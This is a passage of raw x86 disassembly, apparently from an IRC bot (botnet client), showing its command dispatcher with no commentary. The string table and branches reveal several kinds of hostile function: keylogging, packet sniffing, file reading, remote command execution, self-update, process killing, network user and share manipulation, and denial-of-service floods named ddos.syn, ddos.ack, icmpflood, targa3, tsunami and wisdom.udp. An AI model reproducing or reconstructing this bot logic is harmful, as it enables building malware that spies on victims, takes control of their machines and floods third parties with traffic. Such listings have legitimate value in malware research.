"PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_5 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_3 ; "PRIVMSG %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_6 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_40595E: ; CODE XREF: sub_401CC7+3B76j ; sub_401CC7+3B83j push edi ; Str2 push offset aRegister ; "register" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4059A2 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_4059A2 push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNickservRegist ; "nickserv register %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_4059A2: ; CODE XREF: sub_401CC7+3CA6j ; sub_401CC7+3CB1j push edi ; Str2 push offset aOff_0 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4065C5 mov [ebp+arg_18], offset dword_4ED36C loc_4059BE: ; CODE XREF: sub_401CC7+3D1Bj mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_4059D4 mov eax, [eax] cmp eax, ebx jbe short loc_4059D4 push eax call dword_4E42B8 ; closesocket loc_4059D4: ; CODE XREF: sub_401CC7+3CFEj ; sub_401CC7+3D04j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4F3A8C jl short loc_4059BE cmp [ebp+var_8], ebx jnz loc_4065C5 push ebx ; int push [ebp+var_4] ; int push offset unk_4427D0 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h jmp loc_4065C5 ; --------------------------------------------------------------------------- loc_405A0C: ; CODE XREF: sub_401CC7+31ACj push [ebp+arg_8] ; Str2 push offset aNick_1 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A57 push [ebp+arg_8] ; Str2 push offset aN ; "n" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A57 push [ebp+arg_8] ; Str2 push offset aJoin_0 ; "join" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A34 push [ebp+arg_8] ; Str2 push offset aJ ; "j" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A34 push [ebp+arg_8] ; Str2 push offset aPart_2 ; "part" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A18 push [ebp+arg_8] ; Str2 push offset aPt ; "pt" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A18 push [ebp+arg_8] ; Str2 push offset aRaw ; "raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099DE push [ebp+arg_8] ; Str2 push offset aR_2 ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099DE push [ebp+arg_8] ; Str2 push offset aKillthread ; "killthread" call _strcmp pop ecx test eax, eax pop ecx jz loc_40991B push [ebp+arg_8] ; Str2 push offset aK ; "k" call _strcmp pop ecx test eax, eax pop ecx jz loc_40991B push [ebp+arg_8] ; Str2 push offset aC_quit ; "c_quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_409870 push [ebp+arg_8] ; Str2 push offset aC_q ; "c_q" call _strcmp pop ecx test eax, eax pop ecx jz loc_409870 push [ebp+arg_8] ; Str2 push offset aC_rndnick ; "c_rndnick" call _strcmp pop ecx test eax, eax pop ecx jz loc_409816 push [ebp+arg_8] ; Str2 push offset aC_rn ; "c_rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_409816 push [ebp+arg_8] ; Str2 push offset aPrefix ; "prefix" call _strcmp pop ecx test eax, eax pop ecx jz loc_409801 push [ebp+arg_8] ; Str2 push offset aPr ; "pr" call _strcmp pop ecx test eax, eax pop ecx jz loc_409801 push [ebp+arg_8] ; Str2 push offset aOpen ; "open" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097D7 push [ebp+arg_8] ; Str2 push offset aO ; "o" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097D7 push [ebp+arg_8] ; Str2 push offset aServer_5 ; "server" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097BE push [ebp+arg_8] ; Str2 push offset aSe ; "se" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097BE push [ebp+arg_8] ; Str2 push offset aDns ; "dns" call _strcmp pop ecx test eax, eax pop ecx jz loc_409750 push [ebp+arg_8] ; Str2 push offset aDn ; "dn" call _strcmp pop ecx test eax, eax pop ecx jz loc_409750 push [ebp+arg_8] ; Str2 push offset aKillproc ; "killproc" call _strcmp pop ecx test eax, eax pop ecx jz loc_409724 push [ebp+arg_8] ; Str2 push offset aKp ; "kp" call _strcmp pop ecx test eax, eax pop ecx jz loc_409724 push [ebp+arg_8] ; Str2 push offset aKill ; "kill" call _strcmp pop ecx test eax, eax pop ecx jz loc_4096C9 push [ebp+arg_8] ; Str2 push offset aKi ; "ki" call _strcmp pop ecx test eax, eax pop ecx jz loc_4096C9 push [ebp+arg_8] ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jz loc_409691 push [ebp+arg_8] ; Str2 push offset aDel ; "del" call _strcmp pop ecx test eax, eax pop ecx jz loc_409691 push [ebp+arg_8] ; Str2 push offset aGet_3 ; "get" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095A7 push [ebp+arg_8] ; Str2 push offset aGt ; "gt" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095A7 push [ebp+arg_8] ; Str2 push offset aList ; "list" call _strcmp pop ecx test eax, eax pop ecx jz loc_409589 push [ebp+arg_8] ; Str2 push offset aLi ; "li" call _strcmp pop ecx test eax, eax pop ecx jz loc_409589 push [ebp+arg_8] ; Str2 push offset aVisit ; "visit" call _strcmp pop ecx test eax, eax pop ecx jz loc_409499 push [ebp+arg_8] ; Str2 push offset aV ; "v" call _strcmp pop ecx test eax, eax pop ecx jz loc_409499 push [ebp+arg_8] ; Str2 push offset aMirccmd ; "mirccmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_409464 push [ebp+arg_8] ; Str2 push offset aMirc ; "mirc" call _strcmp pop ecx test eax, eax pop ecx jz loc_409464 push [ebp+arg_8] ; Str2 push offset aCmd ; "cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093FC push [ebp+arg_8] ; Str2 push offset aCm ; "cm" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093FC push [ebp+arg_8] ; Str2 push offset aReadfile ; "readfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_409385 push [ebp+arg_8] ; Str2 push offset aRf ; "rf" call _strcmp pop ecx test eax, eax pop ecx jz loc_409385 push [ebp+arg_8] ; Str2 push offset aPsniff ; "psniff" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405EF4 push edi ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405EBC push 20h call sub_40B9D6 test eax, eax pop ecx jle short loc_405DE6 push offset dword_442DEC jmp loc_40724C ; --------------------------------------------------------------------------- loc_405DE6: ; CODE XREF: sub_401CC7+4113j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405E28 mov esi, offset aHelp_0 ; "##help" push offset byte_4E40CC ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405E28 mov esi, [ebp+Format] loc_405E28: ; CODE XREF: sub_401CC7+4143j ; sub_401CC7+4159j push esi ; Format lea eax, [ebp+var_EC0] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_442E0C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 20h ; int push eax ; Source call sub_40B78E add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset sub_412A8E push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_405EAB loc_405E95: ; CODE XREF: sub_401CC7+41E2j cmp [ebp+var_E34], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_405E95 ; --------------------------------------------------------------------------- loc_405EAB: ; CODE XREF: sub_401CC7+41CCj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_442E3C jmp loc_404BEE ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_401CC7+4103j push edi ; Str2 push offset aOff ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4085D7 push ebx push 20h call sub_40B989 pop ecx cmp eax, ebx pop ecx jle short loc_405EEA push eax push offset dword_442E7C jmp loc_404BEE ; --------------------------------------------------------------------------- loc_405EEA: ; CODE XREF: sub_401CC7+4216j push offset dword_442EB8 jmp loc_40724C ; --------------------------------------------------------------------------- loc_405EF4: ; CODE XREF: sub_401CC7+40EEj push [ebp+arg_8] ; Str2 push offset aSniffer ; "sniffer" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406044 push edi ; Str2 push offset aOn_0 ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40600C push 21h call sub_40B9D6 test eax, eax pop ecx jle short loc_405F36 push offset unk_442EF0 jmp loc_40724C ; --------------------------------------------------------------------------- loc_405F36: ; CODE XREF: sub_401CC7+4263j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405F78 mov esi, offset aHelp_0 ; "##help" push offset byte_4E40D0 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405F78 mov esi, [ebp+Format] loc_405F78: ; CODE XREF: sub_401CC7+4293j ; sub_401CC7+42A9j push esi ; Format lea eax, [ebp+var_FE8] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_442F10 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 21h ; int push eax ; Source call sub_40B78E add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_413119 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_405FFB loc_405FE5: ; CODE XREF: sub_401CC7+4332j cmp [ebp+var_F5C], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_405FE5 ; --------------------------------------------------------------------------- loc_405FFB: ; CODE XREF: sub_401CC7+431Cj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_442F40 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_40600C: ; CODE XREF: sub_401CC7+4253j push edi ; Str2 push offset aOff_1 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4085D7 push ebx push 21h call sub_40B989 pop ecx cmp eax, ebx pop ecx jle short loc_40603A push eax push offset unk_442F80 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_40603A: ; CODE XREF: sub_401CC7+4366j push offset unk_442FC0 jmp loc_40724C ; --------------------------------------------------------------------------- loc_406044: ; CODE XREF: sub_401CC7+423Ej push [ebp+arg_8] ; Str2 push offset aIdent ; "ident" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406117 push edi ; Str2 push offset aOn_1 ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4060DF push 2 call sub_40B9D6 test eax, eax pop ecx jle short loc_406082 push offset dword_442FFC jmp loc_40724C ; --------------------------------------------------------------------------- loc_406082: ; CODE XREF: sub_401CC7+43AFj lea eax, [ebp+Dst] push offset asc_44301C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 2 ; int push eax ; Source call sub_40B78E add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_410CB5 push ebx push ebx call ds:dword_4F6384 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_45713C[esi], eax jnz loc_4085D7 call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_443048 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_401CC7+43A3j push edi ; Str2 push offset aOff_2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4085D7 push ebx push 2 call sub_40B989 pop ecx cmp eax, ebx pop ecx jle short loc_40610D push eax push offset dword_443080 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_40610D: ; CODE XREF: sub_401CC7+4439j push offset dword_4430B8 jmp loc_40724C ; --------------------------------------------------------------------------- loc_406117: ; CODE XREF: sub_401CC7+438Ej push [ebp+arg_8] ; Str2 push offset aKeylog ; "keylog" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406291 push edi ; Str2 push offset aOn_2 ; "on" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406188 push edi ; Str2 push offset aFile ; "file" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406188 push edi ; Str2 push offset aOff_3 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4085D7 push ebx push 23h call sub_40B989 pop ecx cmp eax, ebx pop ecx jle short loc_40617E push eax push offset dword_443178 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_40617E: ; CODE XREF: sub_401CC7+44AAj push offset dword_4431B4 jmp loc_40724C ; --------------------------------------------------------------------------- loc_406188: ; CODE XREF: sub_401CC7+4476j ; sub_401CC7+4487j push 23h call sub_40B9D6 test eax, eax pop ecx jle short loc_40619E push offset dword_4430EC jmp loc_40724C ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401CC7+44CBj mov eax, [ebp+arg_4] push edi ; Str2 mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push offset aFile_0 ; "file" mov [ebp+var_BD4], eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4061CD mov [ebp+var_BD0], 1 jmp short loc_4061D6 ; --------------------------------------------------------------------------- loc_4061CD: ; CODE XREF: sub_401CC7+44F8j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_4061D6: ; CODE XREF: sub_401CC7+4504j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_4061FD mov esi, offset aHelp_1 ; "##help" push offset byte_4E40D4 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4061FD mov esi, [ebp+Format] loc_4061FD: ; CODE XREF: sub_401CC7+4518j ; sub_401CC7+452Ej push esi ; Format lea eax, [ebp+var_C54] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_443114 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 23h ; int push eax ; Source call sub_40B78E add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset sub_4127AD push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_406280 loc_40626A: ; CODE XREF: sub_401CC7+45B7j cmp [ebp+var_BCC], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40626A ; --------------------------------------------------------------------------- loc_406280: ; CODE XREF: sub_401CC7+45A1j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_443138 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_406291: ; CODE XREF: sub_401CC7+4461j push [ebp+arg_8] ; Str2 push offset aNet ; "net" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406569 cmp dword_4E42F0, ebx jz short loc_4062C2 cmp dword_4E4318, ebx jz short loc_4062C2 push offset unk_44335C jmp loc_40891F ; --------------------------------------------------------------------------- loc_4062C2: ; CODE XREF: sub_401CC7+45E7j ; sub_401CC7+45EFj cmp [ebp+var_C], ebx jz loc_407028 mov eax, [ebp+esi+Format] mov [ebp+Src], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_4062EA push eax ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx mov [ebp+Src], eax pop ecx loc_4062EA: ; CODE XREF: sub_401CC7+4613j push edi ; Str2 push offset aStart ; "start" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406343 cmp [ebp+arg_18], ebx jz short loc_406317 push [ebp+Src] push 3 call sub_4195C6 pop ecx pop ecx push eax push offset aS_3 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_406317: ; CODE XREF: sub_401CC7+4637j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_419860 add esp, 0Ch test eax, eax jz short loc_406339 push offset unk_4431F0 jmp loc_40891F ; --------------------------------------------------------------------------- loc_406339: ; CODE XREF: sub_401CC7+4666j push offset unk_443214 jmp loc_40891F ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_401CC7+4632j push edi ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40636B push [ebp+Src] push 4 call sub_4195C6 pop ecx pop ecx push eax push offset aS_4 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_40636B: ; CODE XREF: sub_401CC7+468Bj push edi ; Str2 push offset aPause ; "pause" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406393 push [ebp+Src] push 5 call sub_4195C6 pop ecx pop ecx push eax push offset aS_5 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_406393: ; CODE XREF: sub_401CC7+46B3j push edi ; Str2 push offset aContinue ; "continue" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4063BB push [ebp+Src] push 6 call sub_4195C6 pop ecx pop ecx push eax push offset aS_6 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_4063BB: ; CODE XREF: sub_401CC7+46DBj push edi ; Str2 push offset aDelete_0 ; "delete" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4063E3 push [ebp+Src] push 1 call sub_4195C6 pop ecx pop ecx push eax push offset aS_7 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_4063E3: ; CODE XREF: sub_401CC7+4703j push edi ; Str2 push offset aShare ; "share" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406465 cmp [ebp+arg_18], ebx jz short loc_406438 cmp [ebp+var_8FC], bl jz short loc_40641A push ebx ; int push [ebp+arg_18] ; Str push 1 ; int call sub_41999D add esp, 0Ch push eax push offset aS_8 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_40641A: ; CODE XREF: sub_401CC7+4738j push [ebp+esi+Str2] ; int push [ebp+arg_18] ; Str push ebx ; int call sub_41999D add esp, 0Ch push eax push offset aS_9 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_406438: ; CODE XREF: sub_401CC7+4730j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_419B93 add esp, 10h test eax, eax jz short loc_40645B push offset unk_443278 jmp loc_40891F ; --------------------------------------------------------------------------- loc_40645B: ; CODE XREF: sub_401CC7+4788j push offset unk_44329C jmp loc_40891F ; --------------------------------------------------------------------------- loc_406465: ; CODE XREF: sub_401CC7+472Bj push edi ; Str2 push offset aUser_0 ; "user" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40651D mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4064F0 cmp [ebp+var_8FC], bl jz short loc_4064AC push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push ebx push eax push 1 call sub_419CB4 add esp, 18h push eax push offset aS_10 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_4064AC: ; CODE XREF: sub_401CC7+47C0j push [ebp+var_4] mov esi, [ebp+esi+Str2] cmp esi, ebx push [ebp+Format] push [ebp+arg_4] jz short loc_4064D9 push esi push eax push ebx call sub_419CB4 add esp, 18h push eax push offset aS_11 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_401CC7+47FAj push ebx push eax push 2 call sub_419CB4 add esp, 18h push eax push offset aS_12 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_4064F0: ; CODE XREF: sub_401CC7+47B8j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41A1E4 add esp, 10h test eax, eax jz short loc_406513 push offset unk_4432D0 jmp loc_40891F ; --------------------------------------------------------------------------- loc_406513: ; CODE XREF: sub_401CC7+4840j push offset unk_4432F0 jmp loc_40891F ; --------------------------------------------------------------------------- loc_40651D: ; CODE XREF: sub_401CC7+47ADj push edi ; Str2 push offset aSend_0 ; "send" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40655F cmp [ebp+arg_18], ebx jz short loc_406555 push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push [ebp+Src] ; Source call sub_41A498 add esp, 10h push eax push offset aS_13 ; "%s" jmp loc_407019 ; --------------------------------------------------------------------------- loc_406555: ; CODE XREF: sub_401CC7+486Aj push offset unk_44331C jmp loc_40891F ; --------------------------------------------------------------------------- loc_40655F: ; CODE XREF: sub_401CC7+4865j push offset unk_443340 jmp loc_40891F ; --------------------------------------------------------------------------- loc_406569: ; CODE XREF: sub_401CC7+45DBj push [ebp+arg_8] ; Str2 push offset aCapture ; "capture" call _strcmp pop ecx test eax, eax pop ecx jz loc_40914B push [ebp+arg_8] ; Str2 push offset aCap ; "cap" call _strcmp pop ecx test eax, eax pop ecx jz loc_40914B push [ebp+arg_8] ; Str2 push offset aGethost ; "gethost" call _strcmp pop ecx test eax, eax pop ecx jz loc_40905D push [ebp+arg_8] ; Str2 push offset aGh ; "gh" call _strcmp pop ecx test eax, eax pop ecx jz loc_40905D loc_4065C5: ; CODE XREF: sub_401CC7+3CEAj ; sub_401CC7+3D20j ... mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+arg_18], eax jz loc_402166 push [ebp+arg_8] ; Str2 push offset aKilllog ; "killlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_409040 push [ebp+arg_8] ; Str2 push offset aKl ; "kl" call _strcmp pop ecx test eax, eax pop ecx jz loc_409040 push [ebp+arg_8] ; Str2 push offset aAddalias ; "addalias" call _strcmp pop ecx test eax, eax pop ecx jz loc_40900E push [ebp+arg_8] ; Str2 push offset aAa ; "aa" call _strcmp pop ecx test eax, eax pop ecx jz loc_40900E push [ebp+arg_8] ; Str2 push offset aPrivmsg_1 ; "privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_408FBD push [ebp+arg_8] ; Str2 push offset aPm ; "pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_408FBD push [ebp+arg_8] ; Str2 push offset aAction ; "action" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F54 push [ebp+arg_8] ; Str2 push offset aA ; "a" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F54 push [ebp+arg_8] ; Str2 push offset aCycle ; "cycle" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EEE push [ebp+arg_8] ; Str2 push offset aCy ; "cy" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EEE push [ebp+arg_8] ; Str2 push offset aMode_0 ; "mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EB4 push [ebp+arg_8] ; Str2 push offset aM ; "m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EB4 push [ebp+arg_8] ; Str2 push offset aC_raw ; "c_raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_408E46 push [ebp+arg_8] ; Str2 push offset aC_r ; "c_r" call _strcmp pop ecx test eax, eax pop ecx jz loc_408E46 push [ebp+arg_8] ; Str2 push offset aC_mode ; "c_mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408DC1 push [ebp+arg_8] ; Str2 push offset aC_m ; "c_m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408DC1 push [ebp+arg_8] ; Str2 push offset aC_nick ; "c_nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D50 push [ebp+arg_8] ; Str2 push offset aC_n ; "c_n" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D50 push [ebp+arg_8] ; Str2 push offset aC_join ; "c_join" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D04 push [ebp+arg_8] ; Str2 push offset aC_j ; "c_j" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D04 push [ebp+arg_8] ; Str2 push offset aC_part ; "c_part" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CA4 push [ebp+arg_8] ; Str2 push offset aC_p ; "c_p" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CA4 push [ebp+arg_8] ; Str2 push offset aTarga3 ; "targa3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BA9 push [ebp+arg_8] ; Str2 push offset aT3 ; "t3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BA9 push [ebp+arg_8] ; Str2 push offset aTsunami ; "tsunami" call _strcmp pop ecx test eax, eax pop ecx jz loc_408AD4 push [ebp+arg_8] ; Str2 push offset aTsn ; "tsn" call _strcmp pop ecx test eax, eax pop ecx jz loc_408AD4 push [ebp+arg_8] ; Str2 push offset aRepeat ; "repeat" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089CF push [ebp+arg_8] ; Str2 push offset aRp ; "rp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089CF push [ebp+arg_8] ; Str2 push offset aDelay ; "delay" call _strcmp pop ecx test eax, eax pop ecx jz loc_408932 push [ebp+arg_8] ; Str2 push offset aDe ; "de" call _strcmp pop ecx test eax, eax pop ecx jz loc_408932 push [ebp+arg_8] ; Str2 push offset aUpdate ; "update" call _strcmp pop ecx test eax, eax pop ecx jz loc_4087A3 push [ebp+arg_8] ; Str2 push offset aUp_0 ; "up" call _strcmp pop ecx test eax, eax pop ecx jz loc_4087A3 push [ebp+arg_8] ; Str2 push offset aExecute ; "execute" call _strcmp pop ecx test eax, eax pop ecx jz loc_408710 push [ebp+arg_8] ; Str2 push offset aE ; "e" call _strcmp pop ecx test eax, eax pop ecx jz loc_408710 push [ebp+arg_8] ; Str2 push offset aFindfile ; "findfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_408601 push [ebp+arg_8] ; Str2 push offset aFf ; "ff" call _strcmp pop ecx test eax, eax pop ecx jz loc_408601 push [ebp+arg_8] ; Str2 push offset aRename ; "rename" call _strcmp pop ecx test eax, eax pop ecx jz loc_40858A push [ebp+arg_8] ; Str2 push offset aMv ; "mv" call _strcmp pop ecx test eax, eax pop ecx jz loc_40858A push [ebp+arg_8] ; Str2 push offset aIcmpflood ; "icmpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_40848D push [ebp+arg_8] ; Str2 push offset aIcmp ; "icmp" call _strcmp pop ecx test eax, eax pop ecx jz loc_40848D mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz loc_402166 push [ebp+arg_8] ; Str2 push offset aClone_0 ; "clone" call _strcmp pop ecx test eax, eax pop ecx jz loc_4083A5 push [ebp+arg_8] ; Str2 push offset aC ; "c" call _strcmp pop ecx test eax, eax pop ecx jz loc_4083A5 push [ebp+arg_8] ; Str2 push offset aDdos_syn ; "ddos.syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082AC push [ebp+arg_8] ; Str2 push offset aDdos_ack ; "ddos.ack" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082AC push [ebp+arg_8] ; Str2 push offset aDdos_random ; "ddos.random" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082AC push [ebp+arg_8] ; Str2 push offset aWisdom_udp ; "wisdom.udp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406AD8 push 7Fh lea eax, [ebp+var_327C] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_31FC] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_317C] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_30FC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx ; int lea eax, [ebp+Dst] push 13h ; int push eax ; Source mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B78E add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset sub_415187 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_406AC7 loc_406AB1: ; CODE XREF: 